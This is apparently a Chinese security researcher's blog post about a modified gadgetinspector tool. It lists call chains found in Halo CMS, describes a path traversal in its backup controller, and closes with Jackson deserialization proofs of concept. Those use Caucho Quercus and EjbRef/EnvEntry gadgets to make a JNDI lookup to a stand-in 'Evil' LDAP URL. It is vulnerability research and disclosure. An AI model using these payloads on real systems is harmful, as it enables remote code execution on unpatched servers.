说明
抽空二次改造了一下gadgetinspector,参考我前面写的文章
1、gadget inspector 挖掘利用链
2、gadgetinspectot改造
改造后的源码见github,欢迎star,不定期更新该工具。目前更新如下:
1、修复了一些bug,如漏洞类的子类无法被挖掘等。
2、优化了一些功能,如slink点、利用链等。
3、增加了一些功能,识别函数注解、参数注解等。
4、增加了web项目扫描模块,可以用来扫描web项目的漏洞,source点为路由入口。
使用🌰
然后使用该工具的web扫描模块扫描了一下开源cms框架halo,发现了如下利用链
run/halo/app/controller/admin/api/BackupController.getMarkdownBackup(Ljava/lang/String;)Lrun/halo/app/model/dto/BackupDTO; (0)
java/nio/file/Paths.get(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path; (0)
run/halo/app/controller/admin/api/BackupController.getDataBackup(Ljava/lang/String;)Lrun/halo/app/model/dto/BackupDTO; (0)
java/nio/file/Paths.get(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path; (0)
run/halo/app/controller/admin/api/BackupController.getWorkDirBackup(Ljava/lang/String;)Lrun/halo/app/model/dto/BackupDTO; (0)
java/nio/file/Paths.get(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path; (0)
javax/xml/ws/handler/MessageContext$Scope.valueOf(Ljava/lang/String;)Ljavax/xml/ws/handler/MessageContext$Scope; (0)
java/lang/Enum.valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum; (0)
java/lang/Class.enumConstantDirectory()Ljava/util/Map; (0)
java/lang/Class.getEnumConstantsShared()[Ljava/lang/Object; (0)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
com/sun/xml/internal/ws/handler/HandlerProcessor.closeHandlers(Ljavax/xml/ws/handler/MessageContext;II)V (0)
java/util/logging/Logger.log(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/Throwable;)V (0)
java/util/logging/Logger.doLog(Ljava/util/logging/LogRecord;)V (0)
java/util/logging/Logger.getEffectiveLoggerBundle()Ljava/util/logging/Logger$LoggerBundle; (0)
java/util/logging/Logger.findResourceBundle(Ljava/lang/String;Z)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle.getBundle(Ljava/lang/String;Ljava/util/Locale;Ljava/lang/ClassLoader;)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle.getBundleImpl(Ljava/lang/String;Ljava/util/Locale;Ljava/lang/ClassLoader;Ljava/util/ResourceBundle$Control;)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle.findBundle(Ljava/util/ResourceBundle$CacheKey;Ljava/util/List;Ljava/util/List;ILjava/util/ResourceBundle$Control;Ljava/util/ResourceBundle;)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle.findBundleInCache(Ljava/util/ResourceBundle$CacheKey;Ljava/util/ResourceBundle$Control;)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle$Control.needsReload(Ljava/lang/String;Ljava/util/Locale;Ljava/lang/String;Ljava/lang/ClassLoader;Ljava/util/ResourceBundle;J)Z (0)
java/net/URL.openConnection()Ljava/net/URLConnection; (0)
com/sun/xml/internal/ws/handler/HandlerTube.closeServersideHandlers(Ljavax/xml/ws/handler/MessageContext;)V (0)
com/sun/xml/internal/ws/handler/HandlerProcessor.closeHandlers(Ljavax/xml/ws/handler/MessageContext;II)V (0)
java/util/logging/Logger.log(Ljava/util/logging/Level;Ljava/lang/String;Ljava/lang/Throwable;)V (0)
java/util/logging/Logger.doLog(Ljava/util/logging/LogRecord;)V (0)
java/util/logging/Logger.getEffectiveLoggerBundle()Ljava/util/logging/Logger$LoggerBundle; (0)
java/util/logging/Logger.findResourceBundle(Ljava/lang/String;Z)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle.getBundle(Ljava/lang/String;Ljava/util/Locale;Ljava/lang/ClassLoader;)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle.getBundleImpl(Ljava/lang/String;Ljava/util/Locale;Ljava/lang/ClassLoader;Ljava/util/ResourceBundle$Control;)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle.findBundle(Ljava/util/ResourceBundle$CacheKey;Ljava/util/List;Ljava/util/List;ILjava/util/ResourceBundle$Control;Ljava/util/ResourceBundle;)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle.findBundleInCache(Ljava/util/ResourceBundle$CacheKey;Ljava/util/ResourceBundle$Control;)Ljava/util/ResourceBundle; (0)
java/util/ResourceBundle$Control.needsReload(Ljava/lang/String;Ljava/util/Locale;Ljava/lang/String;Ljava/lang/ClassLoader;Ljava/util/ResourceBundle;J)Z (0)
java/net/URL.openConnection()Ljava/net/URLConnection; (0)
我们主要看第一个利用链
run/halo/app/controller/admin/api/BackupController.getMarkdownBackup(Ljava/lang/String;)Lrun/halo/app/model/dto/BackupDTO; (0)
java/nio/file/Paths.get(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path; (0)
跟进它的代码run.halo.app.controller.admin.api.BackupController#getWorkDirBackup
跟进run.halo.app.service.impl.BackupServiceImpl#getBackup函数,该函数会对路径或者文件名是否存在进行判断
没法任意文件下载,但是可以实现目录或文件遍历:
后面白盒随便看了下功能,发现很多xss,就不赘述了,模板注入问题可以说一下,payload如下
访问不存在页面,使得漏洞触发:
上面漏洞皆已报给厂商
比如还挖到几个jsckson的0day:
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"com.caucho.quercus.servlet.QuercusServlet\",{\"jndiDatabase\":\"ldap://127.0.0.1:8080/Evil\"}]";
Object o = mapper.readValue(json, Object.class);
mapper.writeValueAsString(o);
String json = "[\"com.caucho.config.types.EjbRef\",{\"lookupName\":\"ldap://127.0.0.1:8080/Evil\"}]";
String json = "[\"com.caucho.config.types.EnvEntry\",{\"lookupName\":\"ldap://127.0.0.1:8080/Evil\"}]";
条件:
JDK: 1.8.0_101
reproduce version:
jackson-databind-2.11.4.jar
jackson-core-2.11.4.jar
jackson-annotations-2.11.4.jar
dependencies:
quercus-4.0.65.jar(https://repo1.maven.org/maven2/com/caucho/quercus/4.0.65/)
cdi-api-1.0.jar
不过由于只适用于老版本,所以官方没认。